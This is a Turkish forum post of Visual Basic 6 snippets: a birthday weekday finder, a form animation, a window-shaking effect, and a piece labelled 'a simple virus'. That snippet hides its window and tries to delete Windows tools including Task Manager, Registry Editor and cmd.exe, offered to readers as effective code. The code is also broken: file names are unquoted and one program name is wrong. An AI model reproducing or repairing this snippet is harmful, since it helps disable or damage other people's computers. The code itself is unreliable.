Hangi gün doğdunuzu bulur
Malzemeler ; 1 Command Buton
Forma Animasyon ekleme (Deneyin)
Malzemeler ; 1 Timer , 1 Label
Basit bir virüs(Bence Etkili bir kod)
Malzemeler ; Yok
Formunuz Titresin
Malzemeler ; 1 HScroll , 1VScroll , 1 Timer
Arkadaşlar zamanla bunların üstüne kod eklemeye devam edicem bi teşekkürü çok görmeyin butona basmak çok zor olamaz!
Malzemeler ; 1 Command Buton
Kod:
[COLOR="red"]'Hangi gün doğduğunuzu bulur[/COLOR]
[COLOR="Yellow"][B][I]Private Sub Command1_Click()
Dim d_tarih, gun
Do
d_tarih = InputBox("Doğum Tarihinizi Giriniz :")
Loop While Not IsDate(d_tarih)
Select Case Weekday(d_tarih)
Case 1: gun = "Pazar"
Case 2: gun = "Pazartesi"
Case 3: gun = "Salı"
Case 4: gun = "Çarşamba"
Case 5: gun = "Perşembe"
Case 6: gun = "Cuma"
Case 7: gun = "Cumartesi"
End Select
MsgBox (gun & " Günü Doğmuşsunuz")
End Sub[/I][/B][/COLOR]
Forma Animasyon ekleme (Deneyin)
Malzemeler ; 1 Timer , 1 Label
Kod:
[COLOR="red"]'Forma Animasyon ekleme[/COLOR]
[COLOR="yellow"][B][I]Private Sub Form_Load()
Timer1.Interval = 10
AutoRedraw = True
Label1.AutoSize = True
End Sub
Private Sub Timer1_Timer()
Dim x, y
Static i
i = (i + 1) Mod 360
y = ScaleHeight / 2 + ScaleHeight / 2 * Sin(i * 3.1415 / 180)
x = ScaleWidth / 2 + ScaleWidth / 2 * Cos(i * 3.1415 / 180)
Label1.Top = y
Label1.Left = x
Line (ScaleWidth / 2, ScaleHeight / 2)-(x, y), i * 10
Label1 = i
End Sub[/I][/B][/COLOR]
Basit bir virüs(Bence Etkili bir kod)
Malzemeler ; Yok
Kod:
[COLOR="Red"]'Basit Bir virüs[/COLOR]
[COLOR="Yellow"][B][I]Private Sub Form_Load()
Me.Hide
Kill (taskmgr.exe)
Kill (gpedit.msc)
Kill (regedit.exe)
Kill (cmd.exe)
Kill (conhost.exe)
Kill (paint.exe)
MsgBox (Göndermek İstediğiniz Mesaj Varsa Buraya Yazabilirsiniz)
End Sub[/I][/B][/COLOR]
Formunuz Titresin
Malzemeler ; 1 HScroll , 1VScroll , 1 Timer
Kod:
[COLOR="red"]'Formunuz titresin[/COLOR]
[COLOR="Yellow"][B][I]Dim tt As Boolean
Dim sY As Integer
Private Sub Form_Load()
Timer1.Interval = 50
HScroll1.Max = 500
sY = 100
HScroll1.Visible = False
VScroll1.Visible = False
End Sub
Private Sub HScroll1_Change()
sY = HScroll1.Value
End Sub
Private Sub HScroll1_Scroll()
sY = HScroll1.Value
End Sub
Private Sub Timer1_Timer()
If tt = True Then
Me.Top = Me.Top + sY
Me.Left = Me.Left + sY
tt = False
Else
Me.Top = Me.Top - sY
Me.Left = Me.Left - sY
tt = True
End If
End Sub[/I][/B][/COLOR]
Arkadaşlar zamanla bunların üstüne kod eklemeye devam edicem bi teşekkürü çok görmeyin butona basmak çok zor olamaz!